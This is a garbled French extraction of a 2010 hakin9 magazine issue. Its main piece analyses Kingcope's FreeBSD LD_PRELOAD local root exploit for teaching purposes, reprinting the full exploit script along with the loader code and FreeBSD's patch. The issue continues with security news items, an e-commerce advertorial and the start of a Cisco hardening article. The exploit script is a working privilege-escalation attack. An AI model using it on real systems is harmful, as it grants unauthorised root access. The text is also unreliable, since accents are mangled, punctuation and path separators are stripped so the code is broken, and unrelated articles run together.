Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 5: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

ltltSTRONA_PISMAgtgt

ACTUALITEacuteS

propres infrastructures Ce dernier point nrsquoest en aucun cas agrave neacutegliger car nous sommes dans la peacuteriode ougrave lrsquoespionnage industriel est drsquoactualiteacute

Absolute Manage une vraie catastropheIl y a quelques temps un scandale avait eacuteclateacute avec un logiciel drsquoadministration agrave distance sur les ordinateurs drsquoeacutelegraveves en Pennsylvanie lequel permettait de prendre des photos drsquoeacutetudiants agrave leur insu bien que cela nrsquoaurait jamais ducirc ecirctre reacutealiseacute

Des compagnies de seacutecuriteacute ont ainsi analyseacute le logiciel et ont deacutemontreacute qursquoil y avait de nombreux problegravemes de seacutecuriteacute comme deacutechiffrement des communications gracircce agrave une cleacute hardcodeacutee dans le programme et semblable pour tous les clients con-tournement de lrsquoauthentification de lrsquoenvoi de messa-ges

Ouverture de Norton DNS au publicNorton DNS est comme son nom lrsquoindique un servi-ce de DNS public permettant de seacutecuriser tout appareil connecteacute sur la toile

Il comporte une blacklist avec tous les sites ayant une activiteacute plus ou moins accrue avec les malwares phis-

hing permettant ainsi de preacutemunir lrsquousager contre un quelconque risque sur la toile

Degraves lors lorsqursquoun internaute essaie drsquoacceacuteder agrave un site malicieux ce dernier est redirigeacute vers un site drsquoavertissement de Norton en expliquant que le site est bloqueacute par Norton DNS

Je tiens agrave rappeler que son utilisation ne peut ecirctre uti-liseacutee que comme une laquo sur-couche raquo de protection et ne preacutemunise pas contre tous les risques preacutesents sur la toile

Le tabnabbing une nouvelle meacutethode de phishing en vogueCette technique a eacuteteacute expliqueacutee et reacutealiseacutee par Aza Raskin Le principe est de changer le contenu lorsque lrsquoutilisateur a le laquo dos tourneacute raquo ou encore quand il chan-ge drsquoonglet dans son navigateur

Dans la pratique lorsque la page qui a un aspect normal nrsquoest plus consulteacutee elle aura son laquo favicon raquo et son titre modifieacutes pour ressembler au site viseacute Degraves lors lrsquointernaute pensera alors qursquoil a laisseacute ouverte sa messagerie eacutelectronique ou son site de e-commerce ouvert

Il est donc pieacutegeacute et sera pris au jeu du pirate Lrsquoun des correctifs proposeacute par Aza Raskin est que le navigateur doit jouer un rocircle plus important que celui de fureteur basique il doit proteacuteger la confidentialiteacute des donneacutees utilisateur

Metasploitable une vraie reacuteussite pour chacun Tout le monde a tregraves certainement entendu parleacute de Me-tasploit qui est un framework utiliseacute par de nombreuses compagnies afin de reacutealiser des tests drsquointrusion sur des technologies cibleacutees La base de donneacutees drsquoexploits ou-tils en tout genre est colossale et est un outil agrave part entiegravere dans lrsquoaudit de seacutecuriteacute Metasploitable est donc une image Vmware qui nrsquoest autre qursquoune version drsquoUbuntu 804 comportant des services faillibles Le but du jeu est donc de monter lrsquoimage sur son ordinateur et ainsi de srsquoentrainer afin drsquoutiliser le framework Metasploitable

Crsquoest donc un bon entraicircnement pour comprendre le fonctionnement du framework mais aussi avoir une ideacutee de ce qursquoest le pentesting tout en ne nuisant pas aux infrastructures informatiques existantes

Nouvelle version drsquoHydraTout en restant dans les outils drsquoaudit en seacutecuriteacute il ne faut pas oublier la nouvelle version drsquoHydra

Hydra est un cracker de mots de passe supportant de nombreux protocoles tels que VNC POSTGRES IMAP hellip La liste des protocoles geacutereacutes par Hydra est surpre-nante Cet outil a eacuteteacute deacuteveloppeacute par une organisation du nom laquo The Hackerrsquos Choice raquo (THC) et est maintenant passeacute sous licence GPL v3

62010

Dossier

Avantages et inconveacutenients du e-commerceLe E-commerce comporte les mecircmes avantages qursquoin-ternet crsquoest-agrave-dire lrsquoaccegraves agrave un large public la rapi-diteacute drsquoexeacutecution lrsquoaccegraves 24h24 7j7hellip Mais en plus il permet de geacuteneacuterer une activiteacute et des revenus Fa-cile drsquoaccegraves avoir une boutique en ligne permet de deacute-velopper ses ventes avec un investissement maicirctriseacute et sans les droits drsquoentreacutee drsquoune boutique physique Lrsquoheacutebergement consideacutereacute comme le loyer est acces-sible agrave tous sans garantie demandeacutee De nombreu-ses options sont disponibles pour mettre en place son e-commerce payantes ou gratuites Des solutions de paiement en ligne permettent de geacuteneacuterer des ventes sans papier et agrave des coucircts minimes Bref le e-com-merce ressemble agrave une formidable opportuniteacute ouver-te agrave chacun

Cependant si la plus grande qualiteacute du e-commerce est son accessibiliteacute crsquoest aussi ce qui creacutee son plus grand deacutefaut Lrsquoabondance de boutiques en ligne fait drsquointernet le marcheacute le plus concurrentiel Alors que pour une boutique physique le choix de lrsquoemplacement est deacutecideacute une fois pour toutes sur la toile la place de la boutique change en permanence Personne nrsquoa de place assureacutee

Quelques remarques sur les bonnes questions agrave se poser pour le lancement drsquoune boutique en ligne

Avoir bien reacutefleacutechi agrave son offre commerciale une bou-tique en ligne est avant tout un commerce Mecircme si In-

ternet facilite le lancement drsquoune activiteacute il est important drsquoavoir un bon concept commercial et une offre produitservice attractive pour assurer la viabiliteacute du site Lrsquoob-jectif est de transformer en acheteur le visiteur sur votre site Au-delagrave du site en lui-mecircme ce sont les produitsservices les prix les offres qui feront la diffeacuterence

Rendre sa boutique unique parmi les milliers de bou-tiques en ligne lrsquointernaute doit reconnaicirctre votre bou-tique du premier coup drsquoœil Une boutique en ligne est toujours faite sur le mecircme principe de fiche produit liste produit menu Il est donc important de se diffeacuterencier par lrsquoaspect visuel Le graphisme de votre site montrera tout de suite au visiteur dans quelle ambiance etou ty-pe de magasin il se trouve comme pour une boutique physique Un internaute restera plus longtemps et sera plus curieux sur un site qursquoil appreacutecie graphiquement Il y reviendra aussi et il le retiendra Notons quelques freins graphiques sur une boutique comme lrsquoabondance de banniegraveres susceptible de surcharger la page drsquoac-cueil tout comme lexcegraves danimations En outre une page tunnel qui annonce le site avant drsquoy entrer vrai-ment fait parfois son effet agrave la premiegravere visite mais au bout de plusieurs aura tendance agrave lasser lrsquointernaute Toujours dans lrsquoambiance geacuteneacuterale du site la musique risque de freiner le visiteur (manque de discreacutetion re-dondance agrave chaque nouvelle page bouton STOP invi-siblehellip) Tous ces critegraveres deacutependent de votre projet et de lrsquoimage que vous souhaitez veacutehiculer Lrsquoidentiteacute vi-suelle est dans tous les cas un critegravere primordial pour se diffeacuterencier

Boutiques online

Le nombre de boutiques en ligne augmente chaque jour A travers cet article vous allez apprendre comment lancer sa boutique online

Cet article expliquebull avantages et inconveacutenients du E-commercebull comment lancer sa boutique onlinebull solutions e-commerce

Ce quil faut savoirbull Aucune connaissance nest requise

store Factory

Boutiques online

hakin9orgfr 9

deuxiegraveme temps il srsquoagit de suivre vos ventes les produits les plus et les moins vendus etchellip pour affi-ner votre offre Drsquoailleurs rester attentif au prix de la concurrence est essentiel pour rester dans la course sur internet

Les fonctionnaliteacutes le but premier dune boutique en ligne est de permettre aux internautes drsquoacheter vos produits Maintenant dans votre projet il faut deacute-finir tout ce que vous souhaitez proposer sur votre si-te Cela peut concerner lrsquooffre commerciale avec des fonctions de fideacutelisation de recommandation produit entre ami de produits associeacuteshellip Mais aussi des fonc-tionnaliteacutes plus techniques comme proposer une re-cherche avanceacutee de votre produit ou lrsquoaffichage du panier Il nrsquoy a pas de recettes magiques ni de fonc-tionnaliteacutes miracles pour geacuteneacuterer des ventes si ce nrsquoest de bien reacutefleacutechir agrave lrsquoadeacutequation entre votre offre produit et les fonctionnaliteacutes disponibles Par exemple une recherche avanceacutee sera pertinente pour un mar-chand drsquoampoules (en termes de tailles puissances formeshellip) mais pas forceacutement pour une eacutepicerie en ligne ougrave des cateacutegories bien faites seront suffisantes De mecircme qursquoune offre de fideacuteliteacute aura plus de sens sur une boutique de pueacutericulture que pour un concession-naire automobile

Lrsquoabandon du panier un des problegravemes du e-com-merce est la gestion de lrsquoabandon du panier Combien drsquointernautes simulent un achat sur une boutique en ligne mais ne procegravede pas au paiement Pour livrer les clients le commerccedilant a besoin drsquoun certain nom-bre drsquoinformations pour la facture et la livraison Plu-sieurs scheacutemas fonctionnent mais la tendance est de raccourcir les eacutetapes de validation de paiement Geacute-neacuteralement le processus de commande se deacuteroule en 5 eacutetapes validation du panier creacuteation drsquoun compte client entreacutee des informations personnelles entreacutee des informations de livraisons et paiement Ce pro-cessus se reacutepegravete agrave chaque boutique Lrsquointernaute veut que ce soit le plus simple possible De plus plus vite il atteindra la page de paiement moins il aura le loisir de penser agrave abandonner sa commande Agrave lexception de lrsquooptimisation de ce chemin de commande il exis-te des moyens drsquoidentification rapides tels OrangeID ou OpenID qui permettent via un identifiant geacuteneacuteral de remplir par deacutefaut les informations clients Ceci deacute-gage lrsquointernaute de la saisie reacutepeacutetitive de ces infor-mations et il accegravede plus vite au paiement Une autre astuce pour traiter ces abandons de panier est tout simplement de les repeacuterer et de pouvoir leur renvoyer un e-mail de relance agrave partir du moment ougrave le client potentiel a indiqueacute ses coordonneacutees

Les choix de paiement le moyen de paiement est indissociable de la boutique en ligne Derniegravere eacuteta-pe de la commande le commerccedilant propose agrave lrsquoin-ternaute les moyens de paiement qursquoil souhaite De nombreuses solutions de paiement sont accessibles

Le reacutefeacuterencement crsquoest le point primordial pour exister sur internet Creacuteer un site est simple le fai-re connaicirctre beaucoup moins Le reacutefeacuterencement pas-se par plusieurs canaux certains gratuits drsquoautres payants mais le but reste le mecircme ecirctre vu par le maximum drsquointernautes Les outils payants de reacutefeacuteren-cement le plus connu eacutetant Google Adwords permet-tent drsquoapparaicirctre en bonne position plus rapidement mais leurs coucircts sont parfois importants surtout au deacutepart Cela vous permet drsquoecirctre afficheacute dans les liens commerciaux en haut ou sur le cocircteacute des pages de re-cherches sur les expressions que vous avez choisies Le reacutefeacuterencement naturel est au contraire un travail de longue haleine dont le coucirct principal sera le temps que vous passerez agrave optimiser votre site Des contraintes techniques sont dans un premier temps neacutecessaires pour rendre votre boutique en ligne laquo Google friendly raquo comme le code des pages en XHTML le respect des normes internationales W3C la reacuteeacutecriture drsquourl ou en-core la soumission reacuteguliegravere du sitemap agrave lrsquoattention des moteurs de recherche Ensuite tout le travail se situe dans le texte de votre site Les moteurs de re-cherches indexent les sites sur des expressions don-neacutees si elles sont preacutesentes et reacutecurrentes dans le si-te et agrave des endroits importants comme les titres Vous pouvez eacutegalement deacutevelopper un systegraveme de liens entre votre boutique et drsquoautres sites pour renforcer la creacutedibiliteacute de votre boutique toujours pour les mo-teurs de recherche Crsquoest un travail de fourmi qui plus est reacutecurrent puisque la vie drsquoun site est aussi un cri-tegravere pour ameacuteliorer le reacutefeacuterencement Crsquoest la partie la plus difficile drsquoun site de e-commerce car la place drsquoune boutique dans les pages de recherches bouge en permanence Mais avoir un site ne suffit pas agrave geacute-neacuterer des ventes

La navigation lrsquointernaute doit pouvoir naviguer dans votre boutique de maniegravere intuitive et claire De nombreux choix sont agrave faire tels que la place du ou des menus les diffeacuterentes cateacutegories sous-cateacutego-ries si neacutecessaire Le but de la navigation est que lrsquoin-ternaute voit votre offre mais surtout qursquoil puisse ac-ceacuteder sans difficulteacute agrave ce qursquoil cherche Faciliter son chemin eacutevite les risques de sorties intempestives de la boutique

Le suivi du site certaines donneacutees sont essen-tielles pour la viabiliteacute drsquoun site Avec une boutique en ligne hormis les commandes que vous recevez peu drsquoinformations sont accessibles sur le parcours de lrsquointernaute Cependant ces informations sont in-dispensables pour ameacuteliorer votre boutique Il srsquoagit en premier lieu du trafic geacuteneacutereacute en termes de visi-tes mais il est eacutegalement important de connaicirctre les sources de trafic les pages vues le temps passeacute sur le site les pages de sortieshellip Ce sont des indices sur la qualiteacute de votre site qui vous aident agrave ameacuteliorer la reacutetention des internautes sur votre site Dans un

6201010

Dossier

des plus traditionnels comme le chegraveque (avec une politique de processus de commande claire ordre et adresse pour le chegraveque deacutelai de livraison apregraves reacuteception) au plus laquo web raquo comme les solutions de paiement en ligne la plus connue eacutetant PayPal Pour les banques et le paiement par carte bancaire le principe est le mecircme il y a les moyens traditionnels crsquoest-agrave-dire lrsquoagence ougrave le commerccedilant a son compte professionnel et les laquo web raquo qui proposent des so-lutions de paiement exclusivement en ligne comme Ogone ou Moneybookers Le choix des moyens de paiement proposeacutes est une question de coucircts plus ou moins importants selon le moyen et le volume de transaction mais aussi une question dassurance de lrsquointernaute afin qursquoil nrsquoait aucune crainte agrave payer en ligne

Les piegraveges agrave eacuteviterLe principal piegravege agrave eacuteviter est de croire qursquoune fois la boutique construite lrsquoactiviteacute du commerccedilant en ligne est lanceacutee et que des ventes seront geacuteneacutereacutees La creacutea-tion de la boutique nrsquoest que la partie eacutemergeacutee de lrsquoice-berg Une fois la boutique faite il faut la faire connaicirc-tre et la faire vivre Cela passe par la communication (reacutefeacuterencement publiciteacute bouche-agrave-oreille) mais aus-si par la gestion (traiter les commandes les appels clients les reacuteclamations) et la mise agrave jour de la bou-tique (ajouter les nouveaux produits geacuterer les stocks faire des offres commerciales) Une boutique en ligne demande plusieurs heures drsquoinvestissement quotidien Dans un premier temps le plus gros investissement en temps sera mis dans la communication de la bouti-que pour geacuteneacuterer du trafic et attirer des clients poten-tiels Remarquons que ce peut ecirctre aussi un investis-sement financier si le reacutefeacuterencement payant est choisi Une fois la boutique reacuteellement lanceacutee le traitement de commandes et des contacts clients prendra la ma-jeure partie du temps sans pour autant neacutegliger de faire vivre la boutique pour qursquoelle soit toujours connue et attractive

Un autre piegravege agrave eacuteviter est de croire que la creacutea-tion drsquoune boutique en ligne coucircte cher Les offres sont varieacutees et tout deacutepend du projet du commerccedilant Un commerccedilant deacutebutant ou dont la boutique en ligne nrsquoest qursquoun agrave-cocircteacute drsquoune boutique physique srsquoen sortira tregraves bien avec une solution standardiseacutee Si le com-merccedilant veut quelque chose de plus personnaliseacutee le coucirct deacutependra de ses besoins Le projet doit dans un premier temps ecirctre clairement eacutetabli pour choisir la so-lution la plus adapteacutee Il faut donc passer du temps pour construire son projet avant de chercher un pres-tataire pour creacuteer sa boutique Beaucoup de commer-ccedilants cherchent eacutegalement agrave imiter de grands sites reconnus avec des fonctionnaliteacutes avanceacutees comme des offres de fideacuteliteacutes complexes par exemple Ce-pendant pour le lancement drsquoune boutique en ligne

le premier point est de geacuteneacuterer des ventes Il ne faut pas brucircler les eacutetapes Avant de penser agrave fideacuteliser les clients ou avoir un site high-tech il faut que celui-ci soit viable

Les solutions e-commercesPlusieurs possibiliteacutes sont disponibles pour monter son e-commerce des plus standard aux plus personnalisa-bles des plus accessibles aux plus chegraveres

bull Les solutions Open Source ce sont des briques lo-giciels toutes faites disponibles gratuitement sur la toile Cependant il faut srsquoy connaicirctre un minimum en informatique pour dans un premier temps im-pleacutementer la boutique puis lrsquoameacuteliorer ajouter des briques fonctionnelles comme le paiement en ligne De plus si cette solution est en apparence gratuite vous aurez besoin au minimum drsquoun heacutebergement et drsquoun nom de domaine ce qui geacutenegraverera des coucircts variables Crsquoest donc une solution pour les informa-ticiens deacutejagrave aguerris qui deacutesirent mettre les mains dans le cambouis

bull Les logiciels payants moyennant un coucirct fixe drsquoachat ces logiciels vous permettent drsquoavoir une boutique en ligne rapidement Il vous faudra neacuteanmoins vous acquitter des coucircts drsquoheacuteberge-ment et de nom de domaine en suppleacutements Ces logiciels ont lrsquoavantage de vous fournir une inter-face plus ludique pour la gestion de votre bouti-que en ligne Pour les novices quelques explica-tions seront neacutecessaires au deacutemarrage mais crsquoest une solution qui permet drsquoavoir sa boutique sans trop besoin de connaissances techniques Les in-conveacutenients sont geacuteneacuteralement le coucirct drsquoachat de la licence assez eacuteleveacutee et lrsquoeacutevolution du lo-giciel quasi nulle ou moyennant lrsquoachat de mises agrave jour Votre boutique dispose drsquoun certain nom-bre de fonctionnaliteacutes au moment de lrsquoachat et el-les ne varieront pas au cours de la vie votre site Pourtant Internet apporte tous les jours des nou-veauteacutes en termes techniques mais aussi drsquousa-ge Cette solution peut donc ecirctre limiteacutee dans le temps

bull La solution faite par un ami souvent de futurs commerccedilants en ligne disent qursquoils demanderont agrave un ami informaticien de creacuteer leur boutique Sans tenir compte des difficulteacutes possibles de travailler avec des proches le e-commerce est un meacutetier agrave part entiegravere avec ses speacutecificiteacutes techniques Il srsquoagit de mettre en place plusieurs briques fonc-tionnelles comme par exemple le paiement en li-gne ce qui peut srsquoaveacuterer compliquer pour quel-qursquoun drsquoexteacuterieur au e-commerce Cette solution peut-ecirctre gratuite risque drsquoecirctre longue et hasar-deuse agrave moins drsquoavoir lrsquoami qui a deacutejagrave creacuteeacute des boutiques en ligne

hakin9orgfr 11

bull Les webagency certaines vous deacuteveloppent une boutique en ligne de A agrave Z selon vos exigences drsquoautres travaillent avec des prestataires techniques ou des logiciels payants auxquels ils sont habitueacutes Les webagency proposent souvent une prestation de boutique en ligne personnaliseacutee sur devis dont les coucircts sont eacuteleveacutes et variables selon votre projet Elles ajoutent eacutegalement des prestations annexes comme la creacuteation drsquoun design et dune animation ou la gestion des contenus du site Crsquoest donc une solution sur mesure qui peut convenir agrave ceux qui en ont les moyens

bull Les logiciels en mode locatifs ce sont des solu-tions payantes mais souvent plus accessibles que lrsquoachat de logiciel ou les webagency Cependant la grosse diffeacuterence avec toutes les autres solutions est que le commerccedilant nrsquoest pas proprieacutetaire de la solution technique de la boutique en ligne Cette solution est neacuteanmoins un systegraveme accessible et rapide pour lancer sa boutique en ligne De nom-breux acteurs sont preacutesents sur le marcheacute avec un panel drsquooffres tregraves varieacutees en termes de prix et de fonctionnaliteacutes Tout deacutepend du projet du commer-ccedilant crsquoest agrave lui de choisir sa formule Les bouti-ques sont standardiseacutees drsquoun point de vue techni-que avec en geacuteneacuteral un back-office drsquoadministra-tion ludique pour que le commerccedilant gegravere seul sa boutique et une assistance technique Lrsquoheacuteberge-ment est inclus dans les packs Des prestations de design suppleacutementaires permettent de personnali-ser la boutique en ligne Le mode locatif preacutesente lrsquoavantage de beacuteneacuteficier drsquoun suivi dans le temps sur le plan technique que ce soit dans la vie de la boutique mais aussi en fournissant des mises agrave jour reacuteguliegraveres

ConclusionLrsquooffre de solutions pour creacuteer sa boutique en ligne est large et varieacutee Creacuteer son site de e-commerce nrsquoest plus un problegraveme en soi Cependant avoir une boutique ne suffit pas pour exister sur la toile Le commerccedilant doit y consacrer du temps la faire connaicirctre et la faire vi-vre Crsquoest aujourdrsquohui le plus grand deacutefi de tout nouveau commerccedilant en ligne Il faut savoir se deacutemarquer de la masse de sites sur internet

A propos De LrsquoAuteurStore-Factory propose une offre professionnelle complegravete si-te professionnel outils drsquoadministration complets et eacutevolutifs reacutefeacuterencement optimiseacute outils marketing formation et sup-port teacuteleacutephonique illimiteacute Les sites Store-Factory beacuteneacuteficient drsquoune charte graphique creacuteeacutee sur mesure

6201012

Pratique

Les routeurs et commutateurs sont disponibles en diffeacuterentes tailles allant des petites boicirctes de bu-reau aux grands routeurs dopeacuterateur occupant

un rack complet de 19 poucesCisco diffeacuterencie quatre types de trafic le Data Plane

le Control Plane le Management Plane et le Service Plane

Le Data Plane est tout simplement le trafic client agrave transporter par exemple du trafic geacuteneacutereacute par les ser-veurs et les postes de bureautique

Le Control Plane est le trafic neacutecessaire pour creacuteer et maintenir les renseignements sur leacutetat du reacuteseau com-me les annonces BGP et OSPF

Le Management Plane est le trafic utiliseacute pour acceacute-der geacuterer et surveiller les plates-formes agrave limage du SSH et SNMP

Le Service Plane fait reacutefeacuterence aux diffeacuterents services proposeacutes pour les plates-formes par exemple des tun-nels VPN la translation dadresses ou les systegravemes de deacutetection dintrusions

Cette diffeacuterentiation entre les diffeacuterents types de tra-fic est neacutecessaire pour comprendre leffet de ces types de trafic sur la plate-forme Les routeurs ou commu-tateurs Cisco traitent la grande majoriteacute des flux de transport dans des modules hardware deacutedieacutes sauf quelques paquets qui ont besoin de traitement speacutecial comme les paquets avec un TTL (Time To Live) infeacute-rieur ou eacutegal agrave un ou les paquets IP avec options

Une plate-forme Cisco est geacuteneacuteralement composeacutee des eacuteleacutements suivants

bull RAM (Random-Access Memory) utiliseacute pour stoc-ker des informations opeacuterationnelles comme les ta-bles de routage le fichier de configuration en cours dexeacutecution Son contenu est perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull NVRAM (NonVolatile RAM) utiliseacute pour enregis-trer le fichier de configuration de deacutemarrage Son contenu nest pas perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull Flash Contient limage du systegraveme dexploitationbull CPUbull ROM (Read Only Memory) utiliseacute pour enregistrer

le programme de deacutemarrage le systegraveme dexploita-tion et les programmes de test

bull Registres de configuration utiliseacute pour changer le comportement du routeur (deacutemarrer agrave partir du ROM ou NetBoot deacutefinir les options de deacutemarrage deacutefinir la vitesse de la console )

bull Interfaces

La compreacutehension de larchitecture hardware sert agrave deacuteterminer les types de paquets susceptibles de per-mettre une compromission de la machine ou de causer un deacuteni de service il est par exemple possible quune vulneacuterabiliteacute ne cause pas le crash de toute la machi-

Seacutecuriteacute CiSCOCisco propose une varieacuteteacute tregraves importante de produits et plates-formes elle est principalement connue pour ses routeurs et commutateurs tregraves performants Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-forme en cible facile Cisco propose cependant plusieurs meacutecanismes de durcissement Cet article se consacre aux principaux vecteurs dattaques contre ces plates-formes et propose les meacutecanismes les plus communs pour les seacutecuriser

Cet article expliquebull Architecture Hardware et Software des routeurs et commuta-

teurs CISCObull Vecteurs dattaques contre les routeurs et commutateurs CI-

SCObull Meacutecanismes de deacutefense et preacutevention existants sur lIOS CI-

SCO

Ce quil faut savoirbull Connaissance de base en CLI CISCObull Connaissance de base sur le routage et les protocoles mana-

gement (SSH SNMP )

alaeddine Mesbahi

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

